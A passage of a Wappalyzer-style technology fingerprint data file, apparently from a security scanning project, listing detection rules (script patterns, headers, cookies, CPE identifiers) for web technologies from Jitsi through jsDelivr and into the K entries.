  \"jirafe\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/jirafe\\\\.js\"\n    ],\n    \"website\": \"https://docs.jirafe.com\"\n  },\n  \"Jitsi\": {\n    \"cats\": [\n      52\n    ],\n    \"cpe\": \"cpe:2.3:a:jitsi:jitsi:*:*:*:*:*:*:*:*\",\n    \"description\": \"Jitsi is a free and open-source multiplatform voice (VoIP), videoconferencing and instant messaging applications for the web platform.\",\n    \"icon\": \"Jitsi.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"lib-jitsi-meet.*\\\\.js\"\n    ],\n    \"website\": \"https://jitsi.org\"\n  },\n  \"Jive\": {\n    \"cats\": [\n      19\n    ],\n    \"headers\": {\n      \"X-JIVE-USER-ID\": \"\",\n      \"X-JSL\": \"\",\n      \"X-Jive-Flow-Id\": \"\",\n      \"X-Jive-Request-Id\": \"\",\n      \"x-jive-chrome-wrapped\": \"\"\n    },\n    \"icon\": \"Jive.png\",\n    \"website\": \"https://www.jivesoftware.com\"\n  },\n  \"JivoChat\": {\n    \"cats\": [\n      52\n    ],\n    \"cpe\": \"cpe:2.3:a:jivochat:jivochat:*:*:*:*:*:*:*:*\",\n    \"description\": \"JivoChat is a live chat solution for websites offering customizable web and mobile chat widgets.\",\n    \"icon\": \"JivoChat.svg\",\n    \"js\": {\n      \"jivo_api\": \"\",\n      \"jivo_version\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.jivosite\\\\.com\"\n    ],\n    \"website\": \"https://www.jivosite.com\"\n  },\n  \"Jivox\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Jivox is a cloud-based, data-driven platform for delivering personalised digital advertising and marketing experiences at scale.\",\n    \"dom\": [\n      \"link[href*='.jivox.com']\"\n    ],\n    \"icon\": \"Jivox.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.jivox\\\\.com/\"\n    ],\n    \"website\": \"https://jivox.com\"\n  },\n  \"JobAdder\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"JobAdder is a cloud-based recruitment management platform for staffing agencies and in-house corporate hiring teams.\",\n    \"dom\": [\n      \"a[href*='clientapps.jobadder.com/'], link[href*='jobadder.com']\"\n    ],\n    \"icon\": \"JobAdder.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.jobadder\\\\.com/\"\n    ],\n    \"website\": \"https://jobadder.com\"\n  },\n  \"JobberBase\": {\n    \"cats\": [\n      19,\n      101\n    ],\n    \"description\": \"Jobberbase is an open-source job board platform that enables the creation of job sites.\",\n    \"icon\": \"JobberBase.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"Jobber\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Jobberbase\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.jobberbase.com\"\n  },\n  \"Jobvite\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Jobvite is an applicant tracking software and recruiting platform.\",\n    \"dom\": [\n      \"a[href*='.jobvite.com/']\"\n    ],\n    \"icon\": \"Jobvite.svg\",\n    \"js\": {\n      \"Jobvite\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.jobvite.com\"\n  },\n  \"Jonas Club Software\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Jonas Club Software is a provider of club management solutions, facilitating relationship building with members, revenue growth, and cost reduction.\",\n    \"icon\": \"Jonas.svg\",\n    \"js\": {\n      \"jonasPrivacyPolicy\": \"\",\n      \"jonasPrivacyPolicyClassName\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://jonasclub.com\"\n  },\n  \"JoomShopping\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"JoomShopping is an open-source ecommerce plugin for Joomla.\",\n    \"icon\": \"JoomShopping.png\",\n    \"implies\": [\n      \"Joomla\"\n    ],\n    \"js\": {\n      \"joomshoppingVideoHtml5\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"scriptSrc\": [\n      \"/components/com_jshopping/\"\n    ],\n    \"website\": \"https://www.webdesigner-profi.de/joomla-webdesign/joomla-shop\"\n  },\n  \"Joomla\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:joomla:joomla\\\\!:*:*:*:*:*:*:*:*\",\n    \"description\": \"Joomla is a free and open-source content management system for publishing web content.\",\n    \"headers\": {\n      \"X-Content-Encoded-By\": \"Joomla! ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"html\": [\n      \"(?:<div[^>]+id=\\\"wrapper_r\\\"|<(?:link|script)[^>]+(?:feed|components)/com_|<table[^>]+class=\\\"pill)\\\\;confidence:50\"\n    ],\n    \"icon\": \"Joomla.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"Joomla\": \"\",\n      \"jcomments\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Joomla!(?: ([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"url\": [\n      \"option=com_\"\n    ],\n    \"website\": \"https://www.joomla.org/\"\n  },\n  \"Jotform\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"Jotform is an online form builder that enables the creation of robust forms.\",\n    \"icon\": \"Jotform.svg\",\n    \"js\": {\n      \"JOTFORM_ENV\": \"\",\n      \"JotForm.FBCollectInformation\": \"\",\n      \"JotFormActions\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.jotform\\\\.com/\"\n    ],\n    \"website\": \"https://www.jotform.com\"\n  },\n  \"JouwWeb\": {\n    \"cats\": [\n      1,\n      51\n    ],\n    \"description\": \"JouwWeb is an online website builder that allows internet users to create own website.\",\n    \"icon\": \"JouwWeb.svg\",\n    \"js\": {\n      \"JOUWWEB\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:cdn)?\\\\.(?:jwwb|jouwweb)\\\\.nl/\"\n    ],\n    \"website\": \"https://www.jouwweb.nl\"\n  },\n  \"JsObservable\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"JsObservable is integrated with JsViews and facilitates observable data manipulations that are immediately reflected in the data-bound templates. The library is developed and maintained by Microsoft employee Boris Moore and is used in projects such as Outlook.com and Windows Azure.\",\n    \"icon\": \"JsObservable.svg\",\n    \"oss\": true,\n    \"website\": \"https://www.jsviews.com/#jsobservable\"\n  },\n  \"JsRender\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"JsRender is the template library. The library is developed and maintained by Microsoft employee Boris Moore and is used in projects such as Outlook.com and Windows Azure.\",\n    \"icon\": \"JsRender.svg\",\n    \"implies\": [\n      \"JsViews\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"([\\\\d\\\\.]+)?/jsrender(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.jsviews.com/#jsrender\"\n  },\n  \"JsViews\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"JsViews is the MVVM library which provides two-way data binding for the template. The library is developed and maintained by Microsoft employee Boris Moore and is used in projects such as Outlook.com and Windows Azure.\",\n    \"icon\": \"JsViews.svg\",\n    \"implies\": [\n      \"JsObservable\",\n      \"JsRender\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"([\\\\d\\\\.]+)?/jsviews(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.jsviews.com/#jsviews\"\n  },\n  \"Judge.me\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Judge.me is a reviews app that helps you collect and display product reviews and site reviews with photos, videos and Q&A.\",\n    \"icon\": \"Judge.svg\",\n    \"js\": {\n      \"judgeme\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.judge\\\\.me\"\n    ],\n    \"website\": \"https://judge.me\"\n  },\n  \"JuicyAds\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"JuicyAds is a legitimate advertising network that specializes in adult content.\",\n    \"icon\": \"JuicyAds.svg\",\n    \"js\": {\n      \"adsbyjuicy\": \"\"\n    },\n    \"meta\": {\n      \"juicyads-site-verification\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.juicyads.com\"\n  },\n  \"Jumbo\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Jumbo is a page speed optimizer app for Shopify based sites.\",\n    \"icon\": \"Jumbo.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"scriptSrc\": [\n      \"mt\\\\.tryjumbo\\\\.com\"\n    ],\n    \"website\": \"https://www.tryjumbo.com/\"\n  },\n  \"Jumio\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Jumio is an online mobile payments and identity verification company that provides card and ID scanning and validation products for mobile and web transactions.\",\n    \"dom\": [\n      \"iframe[src*='.netverify.com/']\"\n    ],\n    \"icon\": \"Jumio.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.jumio.com\"\n  },\n  \"Jumpseller\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Jumpseller is a cloud ecommerce solution for small businesses.\",\n    \"icon\": \"Jumpseller.svg\",\n    \"js\": {\n      \"Jumpseller\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.jumpseller\\\\.\\\\w+/\",\n      \"jumpseller-apps\\\\.herokuapp\\\\.\\\\w+/\"\n    ],\n    \"website\": \"https://jumpseller.com\"\n  },\n  \"June\": {\n    \"cats\": [\n      10,\n      97\n    ],\n    \"cookies\": {\n      \"_june_session\": \"\"\n    },\n    \"description\": \"June is a product analytics for subscription businesses. It automatically generates graphs of the metrics users should track by connecting their segment account.\",\n    \"icon\": \"June.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.june\\\\.so/analytics\\\\.js/\"\n    ],\n    \"website\": \"https://june.so\",\n    \"xhr\": [\n      \"a\\\\.june\\\\.so\"\n    ]\n  },\n  \"Junip\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Junip provider of a ecommerce brand review platform designed to share customers' story, send review requests and display review content.\",\n    \"icon\": \"Junip.svg\",\n    \"js\": {\n      \"junipLoaded\": \"\\\\;confidence:50\",\n      \"webpackChunkjunip_scripts\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.juniphq\\\\.com/\"\n    ],\n    \"website\": \"https://junip.co\"\n  },\n  \"Juo\": {\n    \"cats\": [\n      74\n    ],\n    \"description\": \"Juo is a centralised experimentation platform for innovative marketing and product teams.\",\n    \"icon\": \"Juo.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.juo\\\\.io/\"\n    ],\n    \"website\": \"https://get.juo.io\"\n  },\n  \"Juspay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Juspay is a developer of an online platform designed to be used for mobile-based payments.\",\n    \"icon\": \"juspay.svg\",\n    \"js\": {\n      \"Juspay\": \"\"\n    },\n    \"website\": \"https://juspay.in\"\n  },\n  \"Justia\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"SESSJUSTIA\": \"\"\n    },\n    \"description\": \"Justia is a lawyer-based content management system (CMS).\",\n    \"icon\": \"Justia.svg\",\n    \"js\": {\n      \"jmetadata\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.justia.com\"\n  },\n  \"Justo\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Justo is a subscription-based software that allows anyone to set up an online store and sell their products with delivery options.\",\n    \"icon\": \"Justo.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getjusto\\\\.com/\"\n    ],\n    \"website\": \"https://www.getjusto.com\"\n  },\n  \"Justuno\": {\n    \"cats\": [\n      76,\n      98\n    ],\n    \"description\": \"Justuno is a visitor conversion optimisation platform.\",\n    \"icon\": \"Justuno.svg\",\n    \"js\": {\n      \"JustunoApp\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"my\\\\.jst\\\\.ai\",\n      \"cdn\\\\.justuno\\\\.com\"\n    ],\n    \"website\": \"https://www.justuno.com\"\n  },\n  \"Justuno App\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Justuno is a premium conversion marketing and analytics platform that provides retailers with powerful tools to increase conversions.\",\n    \"icon\": \"Justuno.svg\",\n    \"implies\": [\n      \"Justuno\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//scripttags\\\\.justuno\\\\.com/shopify_justuno\"\n    ],\n    \"website\": \"https://apps.shopify.com/justuno-pop-ups-email-conversion\"\n  },\n  \"jComponent\": {\n    \"cats\": [\n      12,\n      59\n    ],\n    \"description\": \"jComponent is a platform offering open-source web components and icons for easy integration into web projects.\",\n    \"icon\": \"jComponent.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"MAIN.version\": \"(.*)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://componentator.com\"\n  },\n  \"jPlayer\": {\n    \"cats\": [\n      14,\n      59\n    ],\n    \"description\": \"jPlayer is a cross-browser JavaScript library developed as a jQuery plugin which facilitates the embedding of web based media, notably HTML5 audio and video in addition to Adobe Flash based media.\",\n    \"icon\": \"jPlayer.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"jPlayerPlaylist\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/jquery\\\\.jplayer\\\\.min\\\\.js\"\n    ],\n    \"scripts\": [\n      \"jquery\\\\.jplayer\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://jplayer.org\"\n  },\n  \"jQTouch\": {\n    \"cats\": [\n      26\n    ],\n    \"description\": \"jQTouch is an open-source Zepto/ jQuery plugin with native animations, automatic navigation, and themes for mobile WebKit browsers like iPhone, G1 (Android), and Palm Pre.\",\n    \"icon\": \"jQTouch.png\",\n    \"js\": {\n      \"jQT\": \"\"\n    },\n    \"scriptSrc\": [\n      \"jqtouch.*\\\\.js\"\n    ],\n    \"website\": \"https://jqtouch.com\"\n  },\n  \"jQuery\": {\n    \"cats\": [\n      59\n    ],\n    \"cpe\": \"cpe:2.3:a:jquery:jquery:*:*:*:*:*:*:*:*\",\n    \"description\": \"jQuery is a JavaScript library which is a free, open-source software designed to simplify HTML DOM tree traversal and manipulation, as well as event handling, CSS animation, and Ajax.\",\n    \"icon\": \"jQuery.svg\",\n    \"js\": {\n      \"$.fn.jquery\": \"([\\\\d.]+)\\\\;version:\\\\1\",\n      \"jQuery.fn.jquery\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"jquery\",\n      \"/jquery(?:-(\\\\d+\\\\.\\\\d+\\\\.\\\\d+))[/.-]\\\\;version:\\\\1\",\n      \"/(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)/jquery[/.-][^u]\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://jquery.com\"\n  },\n  \"jQuery CDN\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"jQuery CDN is a way to include jQuery in your website without actually downloading and keeping it your website's folder.\",\n    \"icon\": \"jQuery.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"scriptSrc\": [\n      \"code\\\\.jquery\\\\.com/\"\n    ],\n    \"website\": \"https://code.jquery.com/\"\n  },\n  \"jQuery DevBridge Autocomplete\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Ajax Autocomplete for jQuery allows you to easily create autocomplete/autosuggest boxes for text input fields.\",\n    \"icon\": \"jQuery.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"$.devbridgeAutocomplete\": \"\",\n      \"jQuery.devbridgeAutocomplete\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/devbridgeAutocomplete(?:-min)?\\\\.js\",\n      \"/jquery\\\\.devbridge-autocomplete/([0-9.]+)/jquery\\\\.autocomplete(?:.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.devbridge.com/sourcery/components/jquery-autocomplete/\"\n  },\n  \"jQuery Migrate\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Query Migrate is a javascript library that allows you to preserve the compatibility of your jQuery code developed for versions of jQuery older than 1.9.\",\n    \"icon\": \"jQuery.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"jQuery.migrateVersion\": \"((?:\\\\d+\\\\.){1,2}\\\\d+)\\\\;version:\\\\1\",\n      \"jQuery.migrateWarnings\": \"\",\n      \"jqueryMigrate\": \"\"\n    },\n    \"scriptSrc\": [\n      \"jquery-migrate(?:\\\\.min)?(?:-)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\",\n      \"jquery-migrate(?:\\\\.min)?(?:-?((?:\\\\d+\\\\.)+\\\\d+))?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/jquery/jquery-migrate\"\n  },\n  \"jQuery Mobile\": {\n    \"cats\": [\n      26\n    ],\n    \"description\": \"jQuery Mobile is a HTML5-based user interface system designed to make responsive web sites and apps that are accessible on all smartphone, tablet and desktop devices.\",\n    \"icon\": \"jQuery Mobile.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"jQuery.mobile.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"jquery[.-]mobile(?:-([\\\\d.]+))?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      \"jquery[.-]mobile(?:-)?(?:\\\\.min)?\\\\.js(?:\\\\?ver=([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://jquerymobile.com\"\n  },\n  \"jQuery Modal\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"jQuery Modal is an overlay dialog box or in other words, a popup window that is made to display on the top or 'overlayed' on the current page.\",\n    \"dom\": [\n      \"link[href*='jquery.modal.min.css']\"\n    ],\n    \"icon\": \"jQuery Modal.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"jquery-modal/([\\\\d\\\\.]+)/jquery\\\\.modal\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://jquerymodal.com\"\n  },\n  \"jQuery Sparklines\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"jQuery Sparklines is a plugin that generates sparklines (small inline charts) directly in the browser using data supplied either inline in the HTML, or via javascript.\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"scriptSrc\": [\n      \"jquery\\\\.sparkline.*\\\\.js\"\n    ],\n    \"website\": \"https://omnipotent.net/jquery.sparkline/\"\n  },\n  \"jQuery UI\": {\n    \"cats\": [\n      59\n    ],\n    \"cpe\": \"cpe:2.3:a:jquery:jquery_ui:*:*:*:*:*:*:*:*\",\n    \"description\": \"jQuery UI is a collection of GUI widgets, animated visual effects, and themes implemented with jQuery, Cascading Style Sheets, and HTML.\",\n    \"icon\": \"jQuery UI.svg\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"jQuery.ui.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"jquery-ui[.-]([\\\\d.]*\\\\d)[^/]*\\\\.js\\\\;version:\\\\1\",\n      \"([\\\\d.]+)/jquery-ui(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      \"jquery-ui.*\\\\.js\"\n    ],\n    \"website\": \"https://jqueryui.com\"\n  },\n  \"jQuery-pjax\": {\n    \"cats\": [\n      26\n    ],\n    \"description\": \"jQuery PJAX is a plugin that uses AJAX and pushState.\",\n    \"html\": [\n      \"<div[^>]+data-pjax-container\"\n    ],\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"jQuery.pjax\": \"\"\n    },\n    \"meta\": {\n      \"pjax-push\": \"\",\n      \"pjax-replace\": \"\",\n      \"pjax-timeout\": \"\"\n    },\n    \"scriptSrc\": [\n      \"jquery[.-]pjax(?:-([\\\\d.]+))?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      \"jquery[.-]pjax(?:-)?(?:\\\\.min)?\\\\.js(?:\\\\?ver=([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/defunkt/jquery-pjax\"\n  },\n  \"jqPlot\": {\n    \"cats\": [\n      25\n    ],\n    \"icon\": \"jqPlot.png\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"scriptSrc\": [\n      \"jqplot.*\\\\.js\"\n    ],\n    \"website\": \"https://www.jqplot.com\"\n  },\n  \"jsDelivr\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"JSDelivr is a free public CDN for open-source projects. It can serve web files directly from the npm registry and GitHub repositories without any configuration.\",\n    \"dom\": [\n      \"link[href*='cdn.jsdelivr.net']\"\n    ],\n    \"icon\": \"jsdelivr-icon.svg\",\n    \"scriptSrc\": [\n      \"cdn\\\\.jsdelivr\\\\.net\"\n    ],\n    \"website\": \"https://www.jsdelivr.com/\",\n    \"xhr\": [\n      \"cdn\\\\.jsdelivr\\\\.net\"\n    ]\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/k.json",
    "content": "{\n  \"K-Sup\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"K-Sup is an open-source CMS/portal solution dedicated to higher education and research created by Kosmos Education.\",\n    \"icon\": \"Kosmos.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"meta\": {\n      \"generator\": \"^K-Sup \\\\(([\\\\d.R]+)\\\\)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.ksup.org/\"\n  },\n  \"K2\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"K2 is a content management extension for Joomla, developed by JoomlaWorks, that enhances Joomla's capabilities by providing features like rich content forms, nested categories, tags, comments, and more.\",\n    \"html\": [\n      \"<!--(?: JoomlaWorks \\\"K2\\\"| Start K2)\"\n    ],\n    \"icon\": \"K2.svg\",\n    \"implies\": [\n      \"Joomla\"\n    ],\n    \"js\": {\n      \"K2RatingURL\": \"\"\n    },\n    \"website\": \"https://getk2.org\"\n  },\n  \"KAMAR\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"KAMAR is a Student Management System utilised by secondary schools.\",\n    \"icon\": \"KAMAR.svg\",\n    \"js\": {\n      \"KAMAR.has_address_ben_found\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://kamar.nz\"\n  },\n  \"KISSmetrics\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"KISSmetrics.png\",\n    \"js\": {\n      \"KM_COOKIE_DOMAIN\": \"\"\n    },\n    \"website\": \"https://www.kissmetrics.com\"\n  },\n  \"KMK\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"KMK is a company that offers ecommerce software technology in C2C, B2B, B2C areas.\",\n    \"dns\": {\n      \"NS\": \"ns\\\\d\\\\.kmkhosting\\\\.net\",\n      \"SOA\": \"ns\\\\d\\\\.kmkhosting\\\\.net\"\n    },\n    \"dom\": [\n      \"a[href*='.kmk.net.tr/'][target='_blank'], div#kmkCopyright\"\n    ],\n    \"icon\": \"KMK.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.kmk.net.tr\"\n  },\n  \"KPHP\": {\n    \"cats\": [\n      27\n    ],\n    \"description\": \"KPHP (kPHP or KittenPHP) is a free PHP-to- C++ source-to-source translator, developed by VKontakte.\",\n    \"headers\": {\n      \"x-powered-by\": \"^KPHP/([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"default.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://vkcom.github.io/kphp\"\n  },\n  \"KQS.store\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"KQS.store is an ecommerce software.\",\n    \"dom\": [\n      \"a[href*='kqsdesign.pl'][target='_blank']\",\n      \"a[href*='kqs.pl'][target='_blank']\",\n      \"#kqs-box,kqs-cookie\"\n    ],\n    \"icon\": \"KQS.store.svg\",\n    \"js\": {\n      \"kqs_box\": \"\\\\;confidence:50\",\n      \"kqs_off\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"saas\": false,\n    \"website\": \"https://www.kqs.pl\"\n  },\n  \"KaTeX\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"KaTeX is a cross-browser JavaScript library that displays mathematical notation in web browsers.\",\n    \"dom\": {\n      \"link[href*=katex]\": {\n        \"attributes\": {\n          \"href\": \"katex(?:\\\\.min)?\\\\.css\"\n        }\n      }\n    },\n    \"icon\": \"KaTeX.svg\",\n    \"js\": {\n      \"katex\": \"\",\n      \"katex.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"katex(@|/)[0-9.]+(?:/dist)?/katex(?:\\\\.min)?\\\\.(mjs|js|css)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://katex.org/\"\n  },\n  \"Kadence WP Blocks\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Kadence WP Blocks is a plugin for WordPress that provides a collection of custom blocks for the Gutenberg editor, allowing users to create custom layouts and designs for their website without needing to know how to code.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/kadence-blocks/']\"\n    ],\n    \"icon\": \"Kadence WP.svg\",\n    \"implies\": [\n      \"Gutenberg\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/kadence-blocks/dist/.+/kb-form-block\\\\.min\\\\.js(?:\\\\?ver=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.kadencewp.com/kadence-blocks/\"\n  },\n  \"Kadence WP Kadence\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Kadence WP Kadence is a multipurpose WordPress theme that is available for free download and also offers a pro version.\",\n    \"dom\": [\n      \"link#kadence-global-css\"\n    ],\n    \"icon\": \"Kadence WP.svg\",\n    \"js\": {\n      \"kadence\": \"\",\n      \"kadenceConfig\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/kadence/.+navigation\\\\.min\\\\.js(?:\\\\?ver=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.kadencewp.com/kadence-theme\"\n  },\n  \"Kadence WP Virtue\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Kadence WP Virtue is a multipurpose WordPress theme that is available for free download and also offers a pro version.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/virtue/']\"\n    ],\n    \"icon\": \"Kadence WP.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/virtue/.+main-min\\\\.js(?:\\\\?ver=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.kadencewp.com/product/virtue-free-theme\"\n  },\n  \"Kaira Vogue\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Vogue is a very easy to use multipurpose WordPress theme created by Kaira.\",\n    \"dom\": [\n      \"link#vogue-style-css\"\n    ],\n    \"icon\": \"Kaira.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    